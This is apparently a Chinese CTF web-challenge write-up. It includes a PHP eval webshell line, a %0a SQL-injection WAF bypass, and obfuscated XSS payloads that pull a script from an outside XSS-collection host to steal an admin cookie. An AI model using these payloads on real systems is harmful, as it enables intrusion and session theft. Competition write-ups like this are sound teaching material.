很明显是PHP代码执行漏洞,当初做的时候绕了弯路。 当时的思路是:touch 1.php 然后file_put_contents('1.php','<?php @eval($_POST['caidao']);?>',FILE_APPEND) 想写入一句话,但是不知道什么原因,菜刀链接失败。 后来继续按照这个思路来搞,结果就有些尴尬了,网站直接被很多人玩坏了,最后直接根目录的文件都删除了。 恢复的时候在看,发现touch和所有写文件的函数(file_put_contents()、file_put_contents()、fputs())都不能用了。 然后这个思路就断了,直接跳了下一题。 后来回来做的时候想到的思路是这样:列举目录——>读文件 这个不需要拿shell也没有那么复杂。所以直接使用glob()函数查找所有php文件:
print_r(glob("*.php"));
发现了flag文件,然后就是读取文件了。 既然是flag文件,所以直接猜测存在flag变量,然后直接输出。
include 'flag_62cfc2dc115277d0c04ed0f74e48e3e9.php';echo $flag;
当然,我这种做法有些运气了。还有一种方法就是
include('flag_62cfc2dc115277d0c04ed0f74e48e3e9.php');print_r( $GLOBALS);
给不懂PHP的解释一下。 $GLOBALS是PHP中的超全局变量,官方是这样定义的:
$GLOBALS — 引用全局作用域中可用的全部变量。 一个包含了全部变量的全局组合数组。变量的名字就是数组的键。 即出现过的全局变量,就可以通过$GLOBALS这个数组取得。
类似的变量还有很多,比如:$_SERVER,$_GET,$_POST,$_FILES,$_COOKIE,$_SESSION,$_REQUEST,$_ENV,这些具体的用法有兴趣研究的可以自行谷歌。
这题做的时候很是蛋疼,开始便发现了.svn信息泄露。
但是想利用svn泄露工具来下载源码,始终不行,尝试了三个工具(seay svn泄露利用工具、Svn-Extractor、rip-svn.pl)要么是出错要么是下载不了……最后还是把目光转向了wc.db 下载下来后默认是sublime打开的,全是数字。然后感觉没用什么用就关了。等我吃个饭回来一想,卧槽,数据库文件我怎么用sublime打开呢,于是拿出Navicat。在文件中找了一下,发现:
打开这个链接就可以把网站的源码下载下来(后来不知道为什么删除了,还好我做的快)。 目录如下:
把所有代码阅读了一遍后,大致理清了这题的思路。 直接读数据类型的注入肯定是不行的了,首先是有个waf函数把union select from给过滤了。
function waf($value){
$Filt = "\bUNION.+SELECT\b|SELECT.+?FROM";
if (preg_match("/".$Filt."/is",$value)==1){
die("found a hacker");
}
$value = str_replace(" ","",$value);
return $value;
}
还开启了gpc ,并且用addslashes()处理了value。 其实这题的关键点在这里:index.php文件
if(isset($_SESSION['hat'])){
if($_SESSION['hat']=='green'){
output("<img src='https://herschelian.files.wordpress.com/2012/06/green-hat-1.jpg'>",10);
}else{
output("<img src='http://seocockstars.com/wp-content/uploads/2010/06/black-fedora.jpg'>",1);
echo $flag;
}
echo "<br><br><br><a href='logout.php'>I give up!</a>";
}else{
output("<img src='https://www.computerhope.com/jargon/w/white-hat.jpg'>",10);
echo "<br><br><br><a href='login.php'>I want to check the color of my hat!</a>";
}
首先判断cookie,只有当$_SESSION['hat']不等于green的时候,才echo $flag。
而怎么使得$_SESSION['hat']不等于green呢?看这里:login.php文件
if (isset($_POST["name"])){
$name = str_replace("'", "", trim(waf($_POST["name"])));
if (strlen($name) > 11){
echo("<script>alert('name too long')</script>");
}else{
$sql = "select count(*) from t_info where username = '$name' or nickname = '$name'";
echo $sql;
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if ($row[0]){
$_SESSION['hat'] = 'black';
echo 'good job';
}else{
$_SESSION['hat'] = 'green';
}
header("Location: index.php");
}
}
执行SQL查询语句,如果查询结果不为空(假),那么就使得$_SESSION['hat'] = 'black'; 那么到这里就一切清楚了,就是要让这个SQL语句查询有结果。于是构造SQL语句,playload如下:
http:// 106.75.106.203:1515/route.php?act=login(post)name=or%0a1#%20'&submit=check
拼接到SQL语句为:
select count(*) from t_info where username = 'or 1#' or nickname = 'or 1#'
这里使用%0a的方法进行Http分割注入,当%0a在mysql中执行的时候,是换行,也就是这个效果:
(这里有个很好的文章推荐:深入理解SQL注入绕过WAF和过滤机制)
所以最后访问index.php,就爆出了FLAG。
这题比赛结束的时候还是没有做出来,然后到公司后,经过师傅们的提醒,终于是做出来了,现在题目已经关了,所以大概说下做法。图片是之前截图的,没想到用上了。 首先看主界面
点击PREVIEW(WITHOUT CODE)可以将input message 的内容在preview.php中预览,这里自然而然的想到了XSS,于是测试了一下,发现过滤、<script>、onerror、eval等关键字。当然,绕过的方法还是有的。这里就提供两种。
<iframe src="javascript:e	v	a	l	(String.fromCharCode(100, 111, 99, 117, 109, 101, 110, 116, 46, 119, 114, 105, 116, 101, 40, 34, 60, 115, 67, 82, 105, 80, 116, 32, 115, 82, 67, 61, 104, 116, 116, 112, 58, 47, 47, 120, 115, 115, 46, 102, 98, 105, 115, 98, 46, 99, 111, 109, 47, 67, 110, 74, 72, 62, 60, 47, 115, 67, 114, 73, 112, 84, 62, 34, 41, 59))"></iframe>
<meta http-equiv="refresh" content="0;
url=data:text/html, %64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%22%3c%73%43%52%69%50%74%20%73%52%43%3d%68%74%74%70%3a%2f%2f%78%73%73%2e%66%62%69%73%62%2e%63%6f%6d%2f%43%6e%4a%48%3e%3c%2f%73%43%72%49%70%54%3e%22%29%3b ">
下面是当时测试的图:
绕过了XSS,我想下面就是应该点击Send发送,
如上图,有code,所以写了个脚本跑code。
脚本如下:
# coding=utf-8
import hashlib
def md5(str):
m = hashlib.md5()
m.update(str)
return m.hexdigest()
for x in range(2345678,99998999):
for a in xrange(0x41, 0x5A):
code = md5(str(x)+ unichr(a))
if( code[0:6] == 'a87051'):
print "[*] OK!The result is "+ str(x)+str(unichr(a))
break
这个是当时测试Code的界面
发送成功,请等待管理。 其实到这里思路基本清楚了,就是打管理员的Cookie 但是当时之所以做不出来就是因为没有访问admin/review.php 这个界面查看Cookie…… 这个脑洞 - - 原谅我没想出来 最后的Flag就是在管理员的Cookie中
还有两题题目,其中flag vending machine 已经研究的差不多了,打算单独写一篇文章,因为研究的不只是这个题目,还有其他一些东西。收获还是很多的。最后一题方舟计划是将近凌晨1点左右出的,当时已经躺下了,第二天上班也没时间看了,现在想做题目也关闭了,所以算了。
本次比赛总的来说,收获的不少,对于师傅们说的这次比赛中某些队伍的PY交易,其实对我们影响不大。因为我们除了Web,其他题目是一脸懵逼啊(当然……除了签到……)
期待明年的国赛~